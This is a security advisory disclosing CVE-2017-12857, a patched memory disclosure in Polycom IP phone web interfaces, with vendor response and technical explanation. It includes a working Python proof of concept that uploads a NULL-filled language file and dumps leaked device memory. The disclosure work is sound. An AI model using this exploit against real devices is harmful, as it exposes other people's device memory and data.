SSD Advisory – Polycom Memory Disclosure

blogs.securiteam.com/index.php/archives/3268

SSD / Maor Schwartz August 20, 2017

Vulnerability Summary
The following advisory describe a Memory Disclosure vulnerability found in Polycom SoundPoint IP Telephone HTTPd server.

Polycom is the leader in HD video conferencing, voice conferencing & telepresence enabling open, standards-based video collaboration.

Increase the productivity of your phone calls and conference calls by making sure everyone can hear each other clearly and concentrate on what is being discussed. With our enterprise-grade, HD voice solutions, every participant can hear and be heard. Your teams can focus on what matters—creating stronger, deeper connections with customers, partners and each other.

Credit
An independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
Polycom has released a patch: http://support.polycom.com/content/support/North_America/USA/en/documentation/securitycenter.html to address this vulnerability "We discovered that the vulnerability you reported is not only present in SoundStation IP phones but also in several other products that use UCS software like VVX phones and Trio phones. As a result we fixed 5 streams of code instead of just one."

CVE: CVE-2017-12857

Vulnerability Details
Polycom products are vulnerable to memory info leak found in the way the web interface handle files. By uploading file with NULL characters via Preferences -> Additional Preferences -> Language -> Web Utility Language -> ADD, an attacker can read the raw memory of the product.

The Polycom software, when it tries to display an XML file to a user via the 'languages' web interface. The function prepares a memory as part of the response it sends. Because this memory is not initialized, it contains memory previously used. The function that copies the content of the file seeks the first NULL character as an indicator on how much to read from the buffer. Since a NULL character appears in the buffer being read, this copies NO data into the unallocated buffer, which is returned to the user with the raw memory of the device.

Proof of Concept

```
1   ###
2   # Polycom memory disclosure vulnerability
3   #  ./polycom.py ip username password
4
5   import base64
6   import socket
7   import string
8   import sys
9
10  def hexdump(src, length=16, sep='.'):
```

```
DISPLAY = string.digits + string.letters + string.punctuation
FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256))))
lines = []
for c in xrange(0, len(src), length):
chars = src[c:c+length]
hex = ' '.join(["%02x" % ord(x) for x in chars])
if len(hex) > 24:
hex = "%s %s" % (hex[:24], hex[24:])
printable = ''.join(["%s" % FILTER[ord(x)] for x in chars])
lines.append("%08x:  %-*s  |%s|\n" % (c, length*3, hex, printable))
print ''.join(lines)


ip = sys.argv[1]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "connecting to %s" % ip

try:
s.connect((ip, 80))
except e:
print e

username = sys.argv[2]
password = sys.argv[3]
authorization = base64.b64encode("%s:%s" % (username, password));

print "Uploading NULL file\n"

NULL = "\x00" * 65000

payload = """------WebKitFormBoundaryBuo67PfA56qM4LSt\r
Content-Disposition: form-data; name="myfile"; filename="poc.xml"\r
Content-Type: text/xml\r
\r
%s\r
------WebKitFormBoundaryBuo67PfA56qM4LSt--\r
""" % NULL

upload_msg = """POST /form-submit/Utilities/languages/importFile HTTP/1.1\r
Host: %s\r
Connection: close\r
Content-Length: %d\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBuo67PfA56qM4LSt\r
Cookie: Authorization=Basic %s\r
\r
%s\r
""" % (ip, len(payload), authorization, payload)

s.send(upload_msg)

data = s.recv(1024)
```

```
62
63  print "Done\n"
64
65  s.close()
66
67  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
68
69  print "Memory Leak Stage\n"
70
71  leak_memory = """GET /languages?fileName=poc.xml HTTP/1.1
72  Host: %s
73  Connection: close
74  Cookie: Authorization=Basic %s
75
76  """ % (ip , authorization)
77
78  s.connect((ip, 80))
79
80  print "Leaking memory:\n"
81
82  data = ""
83  while True:
84  try:
85  s.send(leak_memory)
86  data += s.recv(1024)
87  except:
88  e = sys.exc_info()[0]
89  print "Error: %s" %e
90  break
91  hexdump(data)
92
93  print "Done\n"
94
95
96
97
```